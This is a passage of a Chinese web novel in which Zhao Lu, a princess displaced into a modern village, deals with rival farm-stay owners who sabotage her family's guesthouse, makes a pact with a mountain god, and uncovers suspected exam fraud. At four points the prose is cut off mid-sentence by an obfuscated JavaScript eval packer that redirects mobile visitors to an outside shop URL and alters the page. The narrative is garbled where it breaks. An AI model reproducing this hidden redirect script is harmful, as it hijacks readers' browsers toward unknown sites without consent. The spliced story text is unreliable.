卢瑛作为退休语文教师,常在小绿书上分享最近读过的好书,也顺带记录农家乐的经营日常。先前因为怪事频发,账号停更了一阵子,如今重新营业,她连着发了几条岁月静好的内容,竟也出了几条爆款,给照鹿台引了不少客流。 官静莲伙同着其他几家农家乐的老板,悄悄潜入了照鹿台的厨房,将卢瑛和赵声刚做好的肉馅、菜馅包子全部撒上了泥灰。 “莲姐,这会不会太过分了?”一个身材娇小的卷发女人用气声问道。 “哪里过分了?”官静莲还没开口,她男人乔平先插了腰,横了那卷发女人一眼,“赵家不就仗着位置好么?后山就这一家,好山好水的,我们前村全挤在一块儿,凭什么?好不容易他们关门了,我们才多接了几个客人。这会儿一重新开业,立马就有人住进去。蛋糕就这么大,他们吃完了我们怎么办?” “好了好了,干完就走。”一个消瘦的男人驮着背,把墙角晒的辣椒全部泼上臭水,泡得发胀。 “诶,再带几只鸡回去!” ...... 第二天早晨,天刚蒙蒙亮,赵潞打着哈欠推开厨房的门,眼前的景象让她整个人愣在原地。 厨房里弥漫着一股刺鼻的恶臭。 泥灰的腥气将原本散发着诱人香味的包子裹得严严实实,更别说那泡了一夜、已经发酵变质的臭水味了。赵潞赶紧把正打了一半的哈欠收了回去,捂着鼻子,转身就把厨房门关上了。 见了鬼了。 卢瑛刚穿好衣服下楼,见孙女小脸煞白,忙问她怎么了。 赵潞扯出一个笑,比哭还难看:“奶奶,厨房恐怕是不能用了。” “啊?” 卢瑛心里咯噔一下,加快脚步走过去,打开厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406883|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房门,连声“哎哟哎哟”地叫起来,赶紧把窗子和门都打开通风透气,又把沾满臭水的辣椒拎出去扔到照鹿台门口的垃圾桶里。 最后她站在那堆满是泥灰的包子前,愁眉苦脸地发愣。 “客人们等会儿起床了吃什么?”她喃喃道,声音里带着股说不出的无奈,“照鹿台果然不该开门的......又是这种事。” 又是这种事。 赵潞眉头一跳。 卢瑛这句嘟囔让她想起了之前照鹿台那些“人祸”,看来这回,还是那拨人的手笔。 不过眼下还是先把客人的早饭应付过去要紧。 她在院子里捡了几颗鸡蛋,又瞥见那棵才几天工夫就长到她膝盖高的龙眼树,心里便有了主意。 赵潞让赵声煮了些白茶,又去库房里把牛奶温上。她自己和卢瑛一起,一颗一颗地剥龙眼,去核,捣烂。然后把枸杞、龙眼肉、红枣一起丢进奶茶里,在院子的小灶上慢慢煮。 不多时,香气便铺满了整个院子。 客人们下楼的时候,鸡蛋也正好煮好了。 “哇,这是什么呀?” 扎着小辫子的小姑娘本就喜欢漂亮姐姐,这会儿闻到她手上那杯香喷喷的饮料,更是直接扑了过去。 “果果呀,早上好。” 赵潞身上的“百姓味儿”已经快藏不住了。她笑着摸摸小姑娘的辫子,蹲下身递给她一杯:“这是早茶。里面有龙眼、白茶、牛奶、枸杞和红枣,性温,对身体好,还好喝。果果尝尝?” 虽然早上出了那档子糟心事,这早茶可一点没含糊——卢瑛用洗得发亮的木碗盛着,每碗旁边还配了成套的木勺,方便客人舀起龙眼肉和配料吃。 “客人们,这儿还有鸡蛋。早茶锅里还温着,不够再添。” 赵声拿着抹布冲大家爽朗一笑,转身走进厨房,开始收拾那些不能吃的东西。卢瑛也跟着进去,把厨房里的器皿全部刷洗干净,灶台也仔仔细细擦了一遍。 “走过路过不要错过啊!早餐管饱不限量,白粥馒头管够,咸菜随便加!后院还能摘菜自己炒,体验农家乐趣!” 赵遂蹬着三轮车,后座铺了块软垫,手里举着个大喇叭招摇过市。路过照鹿台时,还特意按了下喇叭。 赵潞正把客人用剩的碗往厨房里收,听到动静忙冲了出来。 她对赵遂只有一面之缘,那一面早就随着时间飞到十万八千里外去了。如今前脚厨房刚遭了殃,后脚赵遂就蹬着车拿着大喇叭过来,她很难不怀疑他就是幕后黑手。 赵潞黑着脸瞪他:“好玩吗?” 赵遂不明所以,把走了调的喇叭轻轻一按:“啊?这个吗?你想玩玩?” “你头上那几根毛够数的吗?想破脑袋才想出这么个损招吧?”赵潞冷笑一声,伸手揪住赵遂所剩无几的头发,把他从车上拽下来。赵遂一边喊疼,一边歪着脑袋跟着她的步伐走。 客人们大多回屋整理东西准备出门,厨房里只剩二老。 赵声见赵潞这架势,忙出声制止:“怎么对你小舅舅的?” 12. 十 赵声嘴上像是在斥责,手底下却一点没拦着。反倒是赵遂想伸手掀开赵潞的手时,被他一把拉住了,双手捧着,乐呵呵道:“好久没来看二伯了,怎么想起进后山了?” 赵遂的右手被赵声制住,左手又因为胳膊太短、身子太胖,根本举不起来。 这会儿听到赵声寒暄,头皮还一阵阵发麻,根本无心搭理:“二伯——先让潞丫头把我头发松开吧。慧慧刚给我用了防脱精华,她这么一搞,全白费了。” 赵潞松开手,恶狠狠地瞪了他一眼。赵遂即便逃出魔爪,还是心有余悸,连看都不敢看她。 卢瑛给几人倒了茶,挨着赵声坐下,把这侄子拉到一旁,细细说了照鹿台厨房的遭遇。 这一通下来,赵潞才知道眼前这个胖秃子是赵家的亲戚,赵声大哥的儿子。前几年赵声大哥过世后,两家人就很少走动了。 赵遂在前山经营一家饭馆加棋牌室,客人也不少。毕竟小昭山除去节日,平日里活动也不算多。 他惊讶的样子不像作假:“什么?春华祭刚过去,怪事又来了?” 卢瑛叹了口气:“是啊,也不知道造了什么孽。” 赵遂胖脸皱成一团:“要不关门算了。这种事一遭接一遭的,这次是厨房,下次那些鬼要是进了你们的房,指不定出什么更不好的事呢。” 一听赵遂这幅事不关己、张嘴就来的模样,赵潞“啧”了一声:“胖秃子,凭什么我们关门?之前那些怪事和这次,哪次是真的伤着人了?我看压根不是什么妖魔鬼怪,是人心里的鬼!” 赵声一愣:“潞,你这话的意思是......” 而赵遂明显只注意到了称呼,他一拍桌子,瞪起眼睛:“潞丫头,叫谁胖秃子呢!” 两家客人恰好这时出门,见几人坐在院子的露天桌旁,便点头问好告别,支会着赵声说中午不回来吃饭,晚上再回来吃。见有外人,赵遂才悻悻收起那副生气的模样。 赵潞冲着客人笑得乖巧,一转脸对上赵遂,笑意立刻收了回去:“听爷爷的意思是你很少来后山拿着大喇叭?怎么今天来了?” “这不是照鹿台重新营业了么,后山也有人了。而且...今天山脚他们都在吆喝,慧慧说让我骑着车宣传,这样快人一步......” 赵潞默默记下赵遂说的话,将人送走以后,爷爷奶奶去准备今晚入住那家客人的日用品和晚饭,赵潞便在院子里晃悠着喂小动物。 太白君又不知跑哪儿去了。 她照例端着米盆往地上一倒,换作从前,鸡群早就扑棱着翅膀冲过来用它们的尖嘴追着她跑了。这会儿米粒滚了一地,才从角落里慢吞吞走出两只,啄了两口,又没了兴致。 赵潞站在院子中央,举着米盆环顾一圈,竟不知道该往哪儿撒。 她喂完院子里的动物,顺道仔细盘点一番。 少了四五只鸡,两只鸭,猪倒是一只没少,那群坏人倒是净挑好拿的拿。 真是欺人太甚啊! 不过也遂了她的意。 ...... 丘露将过来旅游的同学们送到镇上的巴士站,温和地冲几人挥手:“回去路上小心,开学见。” 回家的路刚好经过镇上的高中,她全无半分怀念的意思,只加快脚步打算匆匆掠过,却被刚结束值班的班主任叫住了。 “丘露?”周淑然看着那道背影,语气里带出几分惊喜,“你回来了?怎么不来看看老师?” 丘露背影僵了一瞬,转身勉强笑了笑:“周老师,我也刚回。” 周淑然看着眼前这个从前乖巧的学生,还是她的语文课代表,难免想起从前的事来:“之前你和赵潞每天形影不离的,这次回来,有没有去看看她?” 她顿了顿,又补了一句:“听村里人说,她疯病好像好多了。” 丘露摇摇头:“还没来得及。” “真是可惜啊,那么好的孩子。” 周淑然轻声说。 丘露正觉得煎熬,不知说什么好,恰好有电话打进来。她接起来应了两声,如蒙大赦:“老师,我得回家吃饭了。” 周淑然锁好校门,点点头:“行,路上注意安全,帮我跟丘书记问声好。” ...... 赵潞从山脚出来落脚到村镇时,恰好碰见买菜回去的官静莲。她早就把那点不愉快抛到脑后了,只是擦肩而过时,耳旁道红唇上下一碰,将难听的语调一股脑塞进她耳朵里。 “哟,潞丫头下山干什么?照鹿台出什么事儿了么?” 这语气,活脱脱的幸灾乐祸。 赵潞斜睨了官静莲一眼,透过那张红唇才从记忆里翻出这人的名号,她刚来小昭山时就和她不对付了。 不过这会儿她倒是沉得住气。 “是啊,照鹿台的厨房坏了,又是那档子事呗。” 她叹了口气,语气里带着几分无奈:“我正找能帮我们管客人饭食的店呢。我们打算长期合作,直接把住客带到合作的餐馆里,省心省事。” 官静莲一听,眼珠子骨碌一转。 照鹿台位置得天独厚,赵声卢瑛二老还有几十年的活头,总不能就那么空着吧?山脚下的民宿都快卷破头了,各种低价各种服务地求着客人来。 听着赵潞的话,官静莲心下有了主意。 堵不如疏。 要是照鹿台只做住宿,哪怕它红红火火,合作的餐馆不照样能分一杯羹? 这么一想,她忙收了那副尖牙利嘴的架势,换上热络的笑容:“潞丫头,静莲姨刚好买完菜要回去,你要不去我们那儿考察考察?吃顿饭,看看静莲姨的手艺怎么样?” 达成了目的,赵潞笑得比起官静莲灿烂得有过之而不及。 “这样当然好,麻烦静莲姨了——” 山脚的民宿挤作一团,家家门口支着“农家菜”“棋牌室”“采摘园”的牌子,红红绿绿的,恨不得把能干的营生全写在脸上。 莲花堂的院子不大,却要塞下秋千、茶桌和烧烤架,后院里养了几只鸡鸭,种植了些不能吃的花花草草,看过去挺赏心悦目的。 官静莲放下菜,让赵潞随意转悠转悠,这倒是给了赵潞可乘之机。 她本来就是为了进这些民宿的大门的。 借着考察的名号,赵潞顺理成章地进入了这莲花堂的后院,一眼就瞧见了两只翅膀异于常鸡的鸡。 赵潞一声冷笑,那是她的鸡! 在决定重开照鹿台时,她就把院子里的鸡鸭全部都剪羽了,猪也精心地将蹄子刻了个桃花瓣的形状,然后守株待兔。 本以为春华祭人多眼杂的时候都没出事,后面也应该相安无事。却没想到,这群人跟她玩的是开门接客,关门骂娘的戏码。 真当她赵潞好欺负么? 确认好了这背后搞小动作的人,赵潞便在心里盘算下一步该怎么引蛇出洞。 官静莲炒了盘青菜,又做了个青椒炒肉,最后闷了一锅酱色浓郁的红烧肉。 她把菜端到饭厅空桌上,扯着嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406884|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子朝后院喊:“潞丫头,先吃着啊,尝尝莲姨的手艺,我厨房还忙着呢!” 赵潞夹了两筷子,青菜脆生,红烧肉炖得软烂,确实不错。 不过她草草吃了几口便放下筷子,摸出卢瑛出门前塞给她的钱。她不认识这个地方的货币,只挑了最不起眼的几张绿色纸币压在桌上。 这大概是赵国公主头一回没乱花钱。 离开山脚,她还没想好怎么治这群使阴招的人,既要让他们吃点苦头,又得叫他们往后不敢再以怨报怨招惹照鹿台。 不过合作的话既然放出去了,怎么也能安生一阵子。 她回到后山,竟鬼使神差地再次踏上了那条不知被谁被清扫得干干净净的小路。 路的尽头,是一座连牌匾都没有的庙。 赵潞打眼望去,只觉得破败得可怜。 外墙只剩下断壁残垣,梁柱上的漆皮剥落殆尽,露出里头灰败的木纹。屋顶的瓦片缺了大半,地面也不知被什么砸出一个个深浅不一的坑。 门槛倒被踩得凹下去一块,滑溜溜的,也不知是多少年前的脚步磨出来的。 赵潞推开歪歪斜斜的门,吱呀一声拖得老长,这才看清了里面。 满地碎石。 唯一完好的供桌也空落落的,连个香炉都没有,只积着厚厚一层灰。 没牌匾,没神像,没供奉。 谁的庙? 她为什么从幻境中醒来时会在这? “鹿君在上,信女祈求......” 在这无名庙转悠了一圈,赵潞走近内墙,听见隔壁传来声音。 听这念词,简直是颇为耳熟啊。 这破败至极的庙,背后就是鹿君庙? 两座庙背对背立着,一座香火鼎盛,一座无人问津。 难怪鹿君庙从外面看着大,里面却小,原来是给这座无名庙腾了位置。 赵潞满腹疑惑,正仔仔细细打量着这座无人光顾的破庙,眼尖地瞥见碎石堆里有一块格外规整的,瞧着像是人脸的模样。 她刚走近几步要蹲下身细看,头顶忽然落下一道声音,吓得她一激灵。 “殿下大驾光临,怎么不提前知会一声?在下也好备些薄酒,免得怠慢了。” 她抬头望去,只见一根断裂的石柱上,不知何时坐了个人。 应长明依旧一袭白衣,长腿随意垂着,正撑着下巴笑吟吟地看她。 午后稀薄的天光从破瓦缝里漏下来,恰好落在他肩头,竟给那身破袍镀了层淡淡的光晕,更显他眉目清隽。 他那样懒洋洋地坐着,倒不像是坐在断壁残垣里,更像是坐在哪座琼楼玉宇之上。 花孔雀。 赵潞腹诽一句,顿了顿:“你怎么在这?” 眨眼之间,应长明便到了她面前。他轻轻一抬手,脚下的碎石便如云烟般散去,随后不知从哪儿变出两张凳子和一张小桌,又从袖中摸出一壶温着的茶、两盏杯子,最后还带出一样东西。 赵潞小时候最爱吃的杏仁干,整整齐齐码在碟子里。 这一出愣是让赵潞看得目瞪口呆,但也留意到应长明有意将那堆酷似人脸的碎石一扫而空,心里暗暗蓄起戒备:“你真的是孤魂野鬼吗...?” 应长明接过她的话,眉眼含笑,一动不动地注视着她。 他没有回答,只是倒了杯茶,轻轻推到她面前。 “殿下。” 他开口,声音不疾不徐。 “我能帮你回到赵国。” 13. 十一(一) 回到赵国...... 赵潞霎时将伸向杏仁干的手缩回袖子里,抬眼盯着应长明:“什么意思?” 应长明这次倒没对上她的眼,只是垂眸叹息。 “殿下是旧日之魂,阴差阳错来了这里。在下过那往生之门时,总要遇见几个鬼差,届时陈情上报,殿下自然能回到来处。” 赵潞听明白了:“你的意思是,我得先帮你找全魂魄,等你入了酆都再帮我上报?那我怎么知道——” 你会不会骗我? 赵潞话没说完,应长明已经懂了。 他敛眸,轻轻一笑:“殿下怎么还不信我?” 赵潞看着他这副浪荡模样,心里一阵无语。 这张脸明明在幻境里是威风凛凛的战神,到他这儿就只剩轻佻了。她忍不住多看了两眼,越看越觉得——实在是一个人。 但两者的气度又截然不同。 “你跟幻境里的战神长得一模一样。” 她思来想去,还是决定指出。 “你和他是什么关系?” 应长明抬眉,拾起赵潞没吃进嘴里的那颗杏干,递到她嘴边:“是么,殿下。那你和那个长得同我一般的战神,在幻境里,都做了些什么呢?” 做、了、些、什、么! 想起信徒与战神在幻境里那不知日夜的颠鸾倒凤,赵潞脸腾地红了,慌忙往后一缩躲开他的手:“我、我怎么知道!” 应长明笑得开怀,眼底像漾着一汪春水。 他把那颗杏干放进自己嘴里,拿手帕擦了擦手。 “不知道?不过,若能让殿下安心,在下自然什么都愿意做。” 他说着站起身,绕到她身旁缓缓蹲下。 赵潞还没反应过来,应长明已抬起右手贴上她后背,轻轻一带,将她拉近。额头抵上来时,他微微偏了偏角度,鼻尖几乎蹭过赵潞的眉心,呼吸拂在面上,带着一丝若有似无的笑。 霎时,一道白光从二人相接处迸开,将那张近在咫尺的脸照得分明。 不多时。 白光渐熄,两人额间各显出一道雷纹。 他却没有急着退开,依旧抵着她的额头,垂着眼看她。那目光与方才的轻佻截然不同。 沉沉的,深深的,像要把她的模样一笔一画刻进眼里。 明明二人近在咫尺,应长明那目光却像是隔着千山万水才望见了她。 半晌,他极轻地笑了一声,声音低得像是怕惊动什么。 “殿下,”他说,气息拂过她的眉间,“这样,可信我了?” 他抬起手,指尖落在她额间的雷纹上,极轻地描过那道纹路,像在确认什么,又像在许什么。 应长明看着近在咫尺的赵潞,低声道:“这是雷神诀,殿下应该不陌生,是你之前念诀时画的那道。” 说罢,他不知从哪儿变出一面铜镜,摆在二人面前,让赵潞得以看到印记。随后,他看着镜中赵潞的眼睛,一字一顿。 “殿下既信战神,那在下便以战神之名立誓——” “应长明生生世世,不欺赵潞分毫,不背赵潞半步。生则同路,死则同归;汝债吾偿,因果相系;黄泉碧落,生死不休。纵天地倾覆,山河易主,此诺不毁。” “若有违誓,便教我魂飞魄散,永不超生,连这孤魂野鬼也做不成。” 他每说一句,赵潞额上的白色雷纹便亮一分。待他讲完,一股热流已充盈她全身。她不由自主地扭头去看应长明,而应长明也总能接住她的目光。 “殿下。” 他唇角微弯。 “信约已成。自此不必忧虑了。” 赵潞一时失语。 他方才说了那么一通,她其实一个字都没听清,只觉耳畔全是嗡嗡的声响。只是看他神色—— 这真的只是一个信约么? “殿下,先回吧。若有事唤我名字便是。”应长明顿了顿,从袖中摸出个黑黢黢的东西递过来,“对了,今日困扰殿下之事——这个或许能帮上忙。” 赵潞接过来掂了掂,颇有分量。 “什么法宝?” “千里眼。” 应长明眉眼弯弯,又取出一张油蜡纸附在上头,“这是使用说明,殿下交给赵声即可。” 赵潞抬眉,听出他话里那点不信任的意思,语气便有些不痛快:“爷爷一介凡人,能会用?为什么不让我看。” “你不是说过,我们两个才是一样的么?” 看着赵潞一双眼瞪得圆溜溜,应长明险些笑出声来。他一抬手,那说明书上的字霎时改成了繁体:“是我疏忽了,殿下。” 他收了笑,语气认真几分:“只是法宝安装需得小心,叫上赵声也无妨。有殿下安排,我很是放心。” 修了百年的灵猴玄卦,自上次与山神一面之缘后便被收了编,成了应长明探听小昭山消息的耳目。 毕竟应长明此刻神魂未全,神力受限,除了变些花样哄殿下开心,实在难以像从前那样神识一放便能洞听八方。 玄卦刚打算禀报山神小昭山的荒坟似乎不太平,就被眼前这一幕惊得说不出话。 山神竟与那照鹿台的疯丫头一口气结了生死、因果、轮回三道契—— 每道契,都要以山神心尖的精血供养。一滴精血,折百年修为。三道契成,便是三百年道行尽付。 玄卦掰着指头算了算,哇,三个自己! 等赵潞走远了,他才敢从房顶上溜下来。 许是他的表情太过震惊,应长明含笑看了他一眼,那笑意却让人脊背发凉。 “怎么了?” 玄卦慌忙低下头:“没、没......山神大人,前些日子在后山鬼打墙的那只白骨精,是从荒坟那边来的。” 应长明笑意渐收:“荒坟?哪位的?” “去年死的那位村官。” 应长明被唤醒没多久,对这事全无印象,顿了顿:“他怎么死的?” 玄卦天生爱打听,小昭山谁家孩子什么时候摔了跟头他都知道。见山神问起,张嘴就来: “被书记打死的。” ...... 回到照鹿台,赵潞打定主意不靠任何人,非要自己把这千里眼弄明白。 她确实需要这么个东西搁在大门口,至少能唬住那些坏人,让他们不敢随随便便进来捣乱。 她拿着千里眼,仔仔细细地看那张油蜡纸。 “择高处、明处为佳。千里眼虽能传目,但重点在于防,而非录。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406885|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“梁上、檐下、门楣之上,皆可安置。须避雨水、防日晒,以保日久不失其灵。” “选定时,以手拂拭,使其稳当,不可晃动。” ... 赵潞研究到两家客人吃完晚饭,新的客人入住,日头渐落了,还坐在梯子上对着那张油蜡纸发呆。 手机连接蓝牙,下载软件.....? 为什么要把牙齿变蓝?还要去碰那个黑匣子? 她盯着纸上那几行字,越看越觉得是在为难人。 不要欺负一个古人啊! 太白君不知从哪儿野回来了,在大门口一瞧见梯子上的赵潞,便知道殿下在做什么了。它灵巧地顺着梯子一级级爬上来,坐到赵潞身边。 它把赵潞搁在一旁的手机扒拉到她腿上,趴在那儿,用爪子一下一下地划着屏幕,点进应用商场,找到摄像头配套的软件,下载好,再连上蓝牙。 一气呵成。 很快,手机屏幕上便出现了千里眼所照范围内的画面。 赵潞盯着那黑匣子看了好一会儿,头一回主动摸了摸太白君的脑袋,心里有点不是滋味。 原来在这异世,连动物都会用黑匣子。 应长明还不知道自己这番操作,在赵潞心里坐实了“连猫都会用手机”的印象。他只觉殿下的手摸得舒服。 大约是变成了猫的模样,连骨头都轻了几两,满脑子只剩一个念头:再被摸一会儿。 他正小声打着呼噜,眯着眼想继续享受,殿下便毫不留情地抽身离去。 “爷爷——我搞完了!我的糖醋小排呢~” “哎潞潞好棒,给你温着,洗个手来吃!” 隔日,卢瑛骑着三轮车下山,打算再买些鸡鸭回来。赵潞让她捎上自己,说是要继续去山脚“考察”合作的餐馆。没多大会儿功夫,她便摸清了官静莲的同伙都有哪些人。 晚间,卢瑛把新买的鸡鸭安置妥当,又拿了个东西递给赵潞:“乖女啊,你要这个做什么?” 赵潞接过,眨了眨眼:“身体不适嘛。” 卢瑛拍拍手。 “是药三分毒,今晚多吃点青菜。” 赵潞摇头,笑得十分有十二分的不对劲儿。 “不了奶奶,今晚我还得去山下蹭吃蹭喝,还是把一切都交给药效吧。” ...... 做完这一切,赵潞今晚睡得格外踏实。院门口的千里眼一闪一闪地亮着红光,太白君枕在她腹侧,舒服地小声咕噜着。 月沉了下去,天光再次照亮人间。 赵遂的大喇叭照常吆喝着早点,顺便把山脚下好几家歇业的消息也传了上来。赵潞笑得前仰后合,没过一会儿便叫赵遂捎自己下山。 “舅舅。” 她看起来乖巧得很。 赵遂头皮发麻,不敢对上这混世魔王的眼睛。 她这副样子,准没憋什么好屁。 “有话直说吧,潞丫头。” “这村子里管事儿的是什么?村长么?” 赵遂见问的是正事,便放下心来:“小昭村现在没有村长,一直是书记管事。有的人叫他村长,也有人叫他书记。” 赵潞明了:“那麻烦舅舅带我去他那儿吧,我有事和他说。” 14. 十一(二) 书记的家是一栋三层小洋楼。一楼是会客厅,也是丘成平日处理公务的地方;二楼三楼才是丘家人的生活区。 丘露洗漱完,本想去镇上电影院看看新上映的片子,可丘成还在楼下会客,她实在不想下去跟那些人打照面。 “书记,我家孩子就是不太勤快,其实人聪明着呢。上了大学呀,肯定就好了!”一个穿着珠光宝气的女人从门里出来,生得丰盈,头发一丝不苟地盘在脑后。 丘成送她到门口,脸上挂着淡淡的笑。 “是,是。”他点点头,“放心,都会妥善处理的。让孩子安心等通知书就是了。” 女人上了辆黑色轿车,摇下车窗:“不用送了,丘书记。有什么消息直接联系我助理就好。” 丘成微笑着点了点头,目送车子驶远。转身时,正撞上上门的赵潞。 赵遂没把人送到门口,只在路口放下她,指了路便上镇里给赵晋买学习资料去了。 赵潞一瞧面前这个温文尔雅的中年男人,心里就暗自嘀咕,这人跟赵国各地的县官一个样,表面上温和收敛,肚子里不知装了多少油水。 “…赵家丫头,听说你身体好了?” 丘成还是那副笑脸,不着痕迹地打量了赵潞一眼。 “书记,我家喂了农药的鸡被人偷了。” 她一向直来直去,对当官的本就不耐烦,见丘成打量着自己说些客套话,干脆眼睛一闭,将编好的瞎话张口就来。 “喂了农药的鸡被偷了…?” “对,我不小心把农药当成了普通的维生素,喂给了鸡鸭,没成想被人偷了。鸡鸭事小,要是被人误食了……而且那药烈,碰到都有可能出事儿…” 丘成脸色一变,险些维持不住那副温和的嘴脸。他立刻通知干事挨家挨户去查,电话打完,才脸色不善地转过身来看向赵潞。 “赵家丫头,这事先别往外传,还有旅客在,小心引起恐慌。” 说罢,他便转身要走,可赵潞压根没想把这事就这么糊弄过去。她几步窜到丘成面前:“书记,我要一个公道,有了结果能不能和我说一下?” 丘成看着赵潞那副机灵样,思忖片刻,语气又温和了些。 “当然可以。对了,进来杯茶吧,叔叔有事情和你商量。” 赵潞不置可否,想看看丘成打的什么算盘。 丘家的茶室就在一楼客厅的隔间,丘成与人谈事时大多都在这里。 他没有给赵潞倒茶,只是给自己倒了一杯细细嘬饮。 “赵家丫头啊,最近怎么样?” 又来了,说一些无意义的话语。赵潞轻轻吐出一口浊气,将将应付了三四个来回寒暄,才见丘成说出他的目的。 “去年高考…很可惜,今年想不想继续读书,叔叔相信你上次只是发挥失常,如果想继续读书考试,叔叔给你提供学费。” 高考是个什么东西? 赵潞定定看着眼前这个仿佛一切尽在掌握的男人。 他身材中等,头发用发胶服帖地背到脑后,眼神不算清明,面部也有些浮肿。 即便不好酒水大烟,也定是个纵欲之人。 “读书啊……那我要付出什么?” 赵潞缓缓往后一靠,目光一刻也没从丘成身上移开,像豹子在进攻前打量猎物。 “好好学习就行。” “或者——如果不想上学了,读书考试之后,叔叔直接给你找份工作。你的后半辈子啊,叔叔包圆了。” 丘成什么都不图? 那便是要的更多。 “爸爸,我去镇上了。” 丘露在二楼听见轿车发动的声音,特意等了十多分钟才下来。她以为茶室里只有丘成一人,这才过来打招呼,没想到赵潞也在。 她往后退了一步:“你怎么来了?” 神色间颇为紧张。 丘成暗咳两声,自己这女儿也太不经事了。 “丘露,你去玩吧。赵潞只是来问问你大学上得开不开心。” 他递给女儿一个安抚的眼神,等丘露走了,才看向赵潞。 “怎么样?” 赵潞心里已有了数。 “好,叔叔,我回去考虑一下。” 从丘成那几句不咸不淡的话,再加上丘露见自己跟见了鬼似的反应,她已猜得七七八八。 这高考,重在一个“考”字,想必是一种考试,跟赵国的学试差不多,都是当官的必经之路。 至于大学……赵潞虽不明白具体是什么,但多半就是官场的意思? 高考是为了大学。 而丘露,占了“赵潞”的名额。 这种事自古屡见不鲜。那些纨绔子弟为了一官半职,豢养替考之人已是常事,考官们收了钱,也就睁一只眼闭一只眼了。 更有甚者,行径更加腌臜,直接让寒窗苦读多年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“请回吧,各位。潞路说得对,身体不适去看医生,找我们也没用。不过今后也不必担心我们照鹿台的鸡散步到山下了,大门口装了个监控,我们会照看着的,不会再让这种事情发生。” 送走了那群乌合之众,卢瑛将赵潞叫回房里。 “乖女,那番泻叶,是你给他们下的?”